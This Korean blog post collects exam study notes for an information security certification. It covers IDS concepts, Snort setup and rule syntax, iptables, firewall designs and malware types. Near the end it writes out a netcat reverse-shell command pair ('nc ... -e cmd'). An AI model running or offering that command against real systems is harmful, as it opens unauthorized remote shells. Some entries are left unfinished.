상세 컨텐츠

본문 제목

[정보보안기사] IDS(침입 탐지 시스템) 및 snort(IDS Tool)

[Tech] 국가기술자격증/정보보안기사

by tech-dailylife 2020. 3. 5. 16:16

본문

반응형

IDS 침입탐지 시스템 공개도구인 snort는 정보보안기사 실기 주요 기출문제입니다..

 

- IDS(Intrusion Detection System) :  침입탐지 시스템

분류 기준 분류 설명
Information
(Data) Source

Host Based Detection
(호스트 기반 탐지)
호스트(서버)에 있는 로그를 분석해서 해당 호스트에 침입여부를 탐지
Network Based Detection(NW 기반 탐지) 네트워크 패킷 정보 및 라우터, 침입차단 시스템의 로그를 분석해서 탐지
Hybrid Detection
(혼용 탐지)
호스트와 네트워크가 결합된 IDS
IDS Analysis
Misuse Based Detection (오용 탐지) 시그니처(Signature) 기반, 지식(Knowledge) 기반, 미리 정의된 Rule에 매칭, 이미 정립된 공격패턴을 미리 입력하고 매칭, 패턴 비교, 전문가 시스템, 빠른 속도, 구현이 쉬움, 이해가 쉬움, False Positive 낮음, False Negative 큼, Zero Day Attack 탐지 불가능, 대량의 자료 분석 부적합
Anomaly Based Detection (이상 탐지)
프로파일(Profile) 기반, 행동(Behavior) 기반, 정상적 상태를 기준, 급격한 변화가 있을 때 침입으로 판단, 통계적 방법, 특징 추출, Zero Day Attack 탐지 가능, 사용자가 미리 공격 패턴을 정의할 필요 없음, 정상/비정상의 임계치 설정이 어려움, False Positive 큼, 구현 어려움
Timing
Real-Time (실시간 탐지) 관리자가 실시간으로 탐지, 시스템 자원 소모가 큼
Interval-Based
(인터벌 탐지)
Batch 방식으로 일정시간에 로그를 기록한 후 탐지(Batch 탐지), 저장장치가 많이 필요

 

- IDS 핵심 고려사항 : 오탐/미탐율을 어떻게 낮출 것인가

False Positive 공격이 아닌데 공격으로 오판 / 오탐
False Negative 공격인데 공격이 아니라 오판 / 미탐


- IDS(Intrusion Detection System) 사후 대응, IPS(Intrusion Prevention System) 사전 예방


- Snort : 대표적인 공개용(OSS) 침입탐지(IDS) 도구

            특징 = 다양한 OS에서 사용 가능


- Snort 로그를 중앙 syslog 서버로 전송하도록 설정하는 시나리오
1. snort 설치 : rpm을 이용하여 Snort에 사용되는 라이브러리 패키지와 Snort 설치

   # rpm -ivh snort-2.4.3-******.rpm
2. snort.conf를 수정하여 원격 서버로 로그 전송되도록 설정
   # vi /etc/snort/snort.conf
   output alert_syslog: LOG_AUTH LOG_ALERT
   => ALERT 로그를 syslog로 전송하도록 설정
3. syslog.conf를 수정
   # vi /etc/syslog.conf
   auth.alert @192.168.n.n
   => 원격 syslog 서버의 IP 주소 입력
4. syslog 데몬 재시작, snort 백그라운드 실행
   # service syslog restart
   # snort -D -c /etc/snort/snort.conf
   => -D : 백그라운드 데몬으로 실행, -c : 설정 파일을 연결

- Snort의 Rule 추가하는 시나리오
1. rules에 custom.rules 파일 생성
   # vi /etc/snort/rules/custom.rules
   alert tcp any any -> any 80 ( msg : " malcode download attack-malcode.html"; content : "maldown.html";)
   => msg : 탐지 메시지, content : 탐지 문자열
2. snort.conf에 RULE_PATH 추가
   # vi /etc/snort/snort.conf
   include $RULE_PATH/custom.rules
3. snort 데몬을 백그라운드로 재시작하여 추가된 룰 적용
   # snort -D -c /etc/snort/snort.conf

- Snort 룰 작성 방법
1. 룰 헤더(Rule Header) : 처리 방법(Action), 프로토콜(Protocol), 송/수신지 주소(IP, Port 주소)
   예시 - alert tcp any any -> any any
   처리방법 : alert, log, pass, activate, dynamic, drop, sdrop reject
   프로토콜 : tcp, udp, ip, icmp
   주소 : [송신 IP 주소] [포트 주소] -> [수신 IP 주소] [포트 주소]

* 처리방법 설명(룰 액션)

Rule 설명
alert 알람 발생시키고 로그 남김 
log 로그 남김
pass 무시
activate 로그 남기고 대응 dynamic action을 활성화
dynamic  활성화되면 로그 남김
drop iptables에 의해 패킷 차단 후 로그 남김
sdrop iptables에 의해 패킷 차단, 로그 남기지 않음 
reject iptables에 의해 패킷 차단 후 로그 남기고 메시지(TCP reset, ICMP unreachable)를 발생


2. 룰 옵션(Rule Option)
   예시 - Rule Hearder 뒤에 ( msg : "MESSAGE"; content : "abc.html"; nocase)

 

* 옵션 종류

msg : alert, log 시 출력될 메시지
content : 패킷의 페이로드 내부를 검색하는 문자열
offset : 검색할 문자열의 offset
nocase : 대소문자 구별하지 않음
rev : 룰 수정 횟수
sid : 룰 식별자(snort에서 사용하는 식별 번호는 100~100만 사이)
threshold type <limit | threshold | both>, track <by_src | by_dst>, count <s>, seconds <m>

 

 

 

[침해사고 대응 이론 정리편]

 

● IDS(침입탐지시스템) : 탐지 대상 시스템이나 네트워크를 감시하여 비인가 되거나 비정상적인 행동을 탐지하여 구별

모니터링/미러링 방식을 이용하여 감시(패킷을 복사), 사후조치

1. 오용탐지(misuse detection) : 지식기반(시그니처 기반), 이미 알려진 공격행위에 대한 패턴을 등록하여 탐지오탐이 낮고 미탐이 높음새로운 공격이 있으면 새로 패턴을 등록해야 함

2. 이상탐지(anomaly detection) : 행위 기반비정상행위탐지프로파일 기반정상행위에 대한 프로파일을 등록해 놓고 해당 임계값을 넘어가면 침입으로 판단미탐이 낮고 오탐이 높음임계값 설정이 어려움

- False Positive(오탐) : 정상인 것을 공격으로 잘못 탐지함

- False Negative(미탐) : 공격을 정상으로 잘못 탐지함

1. Network-IDS : 네트워크 트래픽 분석 및 모니터링 중심의 IDS

수집된 패킷을 필터링과 축약

주요 대응방법은 FIN이나 RST으로 연결 세션 종료시키는 것암호화 세션 탐지는 부족

Snort

2. Host-IDS : 시스템 자체의 위험성 탐지 목적의 IDS(트로이목마백도어내부자 공격 탐지 가능) - 무결성 체크

로그나 입출력 패킷 검사 및 Agent형식으로 호스트 단의 감시

주요 대응방법은 공격자 프로세스 강제 종료호스트 성능 저하 단점

Tripwire : 무결성 검증으로 백도어나 변경 파일 탐지(초기 DB 생성하여 crontab으로 수시로 확인)

단일 호스트기반 IDS/다중 호스트기반 IDS

1. 능동적인 대응수동적인 대응

● IPS(침입방지시스템) : IDS 기능에다가 능동적인 차단을 수행

게이트웨이/인라인 방식을 사용하여 실시간 직접 차단이 가능(장애 발생 시 네트워크 전체 장애 발생 가능성병목 현상 발생)

방화벽, Secure-OS, IDS 등 보안기술 기반

● 침입차단시스템(방화벽) : 네트워크 내부와 외부 사이에서 외부에서 설정한 보안 정책으로 1차적인 불법 접근을 차단

패킷 필터링(흐르는 패킷 헤더 안의 정보 기반으로 통제하는 방식)에 이용되는 정보 소스 IP, Port/목적 IP, Port/프로토콜 

상태추적 기능 패킷별 네트워크 및 전송계층 정보만 보는 것이 아니라 일정 시간 동안 프로토콜의 상태정보를 유지함으로써 보다 빠르고 높은 보안 제공(기존 패킷 필터링에 이 기능을 더해서 상태추적 기반 침입탐지 시스템을 씀)

1. 단일 홈 게이트웨이(베스천 호스트) : 접근제어프록시인증로깅 등 방화벽의 가장 기본적인 기능 수행하며 방화벽이 손상되면 내부 네트워크까지 무조건적인 접근이 허용됨 베스천 호스트 중세성곽의 가장 중요한 수비 부분을 의미

2. 듀얼 홈드 게이트웨이 외부 네트워크 카드가 구별되어 운용되는 네트워크 카드가 두 개 이상되는 방화벽으로 효율적인 트랙픽 관리와 패킷이 거쳐서 가는 구조라 안정적(라우팅 기능은 없음)

3. 스크린드 호스트 게이트웨이 듀얼 홈드 게이트웨이와 스크리닝 라우터를 결합한 형태(내부인 베스천 호스트와 외부 네트워크 사이에 스크리닝 라우터를 배치)

4. 스크린드 서브넷 게이트웨이 스크리닝 라우터들 사이에 듀얼홈드 게이트웨이가 위치하는 구조로 DMZ라는 완충역할을 하는 서브넷을 운영하는 방식

● iptables

리눅스에서 사용되는 방화벽으로 상태추적 기능로깅기능포트 포워딩 및 향상된 매칭 기능을 제공하줌

<예시> iptables -A INPUT -s 192.168.1.1 -p tcp -j DROP

-A : 어떤 체인을 사용하는지 지정하며 INPUT, OUTPUT 등 있음

-s : 입력되는 패킷 주소 명시 (출발지)

-sport, -dport : ?

-d : 출력되는 패킷 주소 명시 (도착지)

-p : 프로토콜

-j : 행위

--tcp-flag ALL SYN,FIN : tcp 제어플래그

DROP : 매치된 패킷을 차단한 후 추후 어떤 동작도 하지 않음 (시스템 리소스 적게 쓰며 보안적 측면에서도 좋음) (로그 기록은 하며 로그기록 안하는 것은 SDROP)

REJECT : 매치된 패킷을 차단한 후 ICMP 에러 메시지를 발신지로 응답해주어 보안적으로 취약하며 트래픽이 추가적으로 발생하여 이점을 악용한 DDOS 공격 가능성 있음

규칙은 위부터 순차적으로 적용(먼저 적용된 것이 우선순위가 높음)

● Snort

오픈소스 침입탐지시스템으로 패턴매칭 방법은 바이너리 비교방법텍스트 비교방법이 있음(텍스트는 속도는 느리나 유연함)

모드 :패킷 로거스니퍼네트워크 침입탐지

<예시> alert tcp any any -> any any(msg:"m"; content:"pattern"; nocase; offset: 9; depth:2; threshold:type threshold, track by_dstm, count 10, second 1; sid:1000999)

- content : 패킷 페이로드와 패턴 매칭을 통해 체크(페이로드에 검사할 문자열 지정)

- nocase : 대소문자 구별 없이 패턴 매칭

- offset : 페이로드에서 content 패턴을 검사 시작할 위치로 0부터 시작

- depth : offset부터 몇 바이트까지 검사할 것인지 지정

- threshold~~ : 목적지 ip 기준으로 매 1초동안 10번째 이벤트마다 alert 액션 수행

- flag:SF : tcp 제어 플래그

TCP 제어 비트에서 SYN와 FIN이 함께 쓰이면 공격으로 간주

<PCRE 헤더 액션 항목 : alert >

1. alert : 정해진 방식에 따라 alert(경고발생 시키고 패킷 기록

2. log : 패킷 기록(로깅)

3. pass : 패킷 무시하고 패스

4. activate : alert 발생시키고 대응 dynamic 시그니처 유효하게 함

5. dynamic : activate에 의해 활성화 되면 log와 동일한 기능

6. drop : 패킷 차단 후 로깅

7. reject : 패킷 차단 로깅 후 ICMP Port Unreachable 또는 TCP reset 전달

8. sdrop : 패킷 차단 후 로깅X

● ESM(Enterprise Security Management) : 통합보안관제를 위해 구축된 다양한 보안 솔루션 장비에서 발생하는 로그보안 이벤트를 취합상호연관성 분석하여 실시간 보안위협을 파악하고 대응하기 위한 시스템

상호연관분석 여러 보안 장비에서 발생하는 보안 이벤트 간의 연관성을 분석하여 보다 정확한 대응이 가능하게 함

ESM 구성 요소 3가지 

1. ESM Agent : 이벤트와 로그 수집하여 Manager에 전달

2. ESM Manager : 전달 받은 이벤트 로그 분석하여 Console로 통보

3. ESM Console : 전달 받은 데이터의 시각적 전달상황 판단 기능관리 서버 룰 설정하도록 통제

ESM의 진화 형태 = SIEM(SIM+SEM)

● UTM(Unified Threat Management) : 다양한 보안 기능을 하나의 장비로 통합하여 제공하는 통합보안시스템으로 경제성보안관리 편의성 제공하지만 장애 발생시 모두 장애

● 보안 관제 모니터링 방법

보안장비 모니터링서버 모니터링트래픽 모니터링

● 보안 관제 절차

보안 장비로 실시간 탐지로그 추이 파악

이상 징후 발생시 담당자에게 보고 후 장비 공격 탐지 확인

초동 조치 시행

공격 탐지지표 정보 수집하여 장비간 상호연관성 및 공격유형피해범위 식별

공격 유형 및 대응 매뉴얼에 따라 차단 적용

● NAC : PacketFence와 같은 네트워크 통제기능을 수행하는 보안솔루션으로 단말기가 네트워크에 접속할 때 이를 제어하고 통제하는 기능

● ModSecurity : trustwave 사에서 제공되며 오픈소스 웹 방화벽

● Drive By Download : 

● OPenSSL 하트블리드 

이 취약점을 악용하여 웹 서버로 전송된 개인정보비밀번호웹서버 암호키 등 탈취 가능

이 취약점은 하트비트라는 SSL/TLS 확장 프로토콜을 구현하는 과정에서 발생

대응 방안 보안 장비에 탐지 룰 적용, OpenSSL 버전을 취약하지 않은 최신 버전으로 적용서버측 SSL 비밀키 유출 가능성이 있으므로 SSL 인증서 재발급

● 쉘쇼크 : GNU Bash에서 공격자가 원격으로 악의적인 시스템 명령을 실행할 수 있는 취약점

● 쉘코드 익스플로잇 수행시 공격자가 의도한 명령을 담고 있는 어셈블리/기계어로 작성된 코드

NOP를 핵사값으로 하면 Ox90

MOVE EAX, ECX : ECX를 EAX에 저장

● 윈도우 PE 파일의 주요 섹션 정보 

.text : 프로그램 실행 코드

.data : 전역변수정적변수 /읽기쓰기

.rdata : 상수형 변수문자열 상수 읽기

.bss : 초기화되지 않은 전역변수

.idata : 임포트할 DLL과 그 API/함수 정보

.edata : 익스포트할 DLL과 그 API 정보

.rsrc : 리소스 관련 데이터

● 혹스 직접적으로 해는 가하지 않고 남을 속이거나 장난 목적으로 퍼뜨리는 가짜 바이러스

● 조크 놀라게하여 작업 방해 목적

● 트로이목마 내장 또는 정상프로그램으로 위장(자기 복제 불가)

● 웜 네트워크 따라 자기복제가능

● 키로거 키보드 입력시 키의 내용을 파일에 저장하는 프로그램이며 이를 통한 공격은 키로거 공격

● 다운로더 외부에서 악성코드를 다운로드하여 실행하는 악성코드

드롭퍼 내부에 있는 데이터로 악성코드를 생성 실행하는 악성코드

인젝터 드롭퍼의 특수 형태로 자신의 데이터를 이용해 바로 프로세스를 생성하여 메모리에 상주시키는 악성코드

● 부트바이러스파일 바이러스부트/파일 바이러스메모리 상주 바이러스매크로 바이러스

● 루트킷 루트 권한 획득 및 백도어 기능 수행 도구

● 워터링 홀 : APT 공격 중 하나로 공격 대상이 방문할 가능성이 있는 합법적 웹 사이트를 미리 감염시켜 잠복하여 피해자도 악성코드에 감염시키는 방법

● 사이버 킬 체인 : APT 공격의 대응책 중 하나 

● 퍼징퍼저 다양한 비정상적인 데이터를 입력하여 소프트웨어의 오류를 찾는 방법 및 도구(웹 퍼징네트워크 프로토콜 퍼징파일 포맷 퍼징메모리 퍼징)

○ 

nc -l -p 8080 : 공격 시스템에서 8080 포트 열고 기다림

nc 192.168.1.1 8080 -e cmd : 타겟 시스템에 8080 포트로 접속하여 reverse shell 획득

chrootkit :루트킷탐지 명령어 (INFECTED)

반응형

관련글 더보기

댓글 영역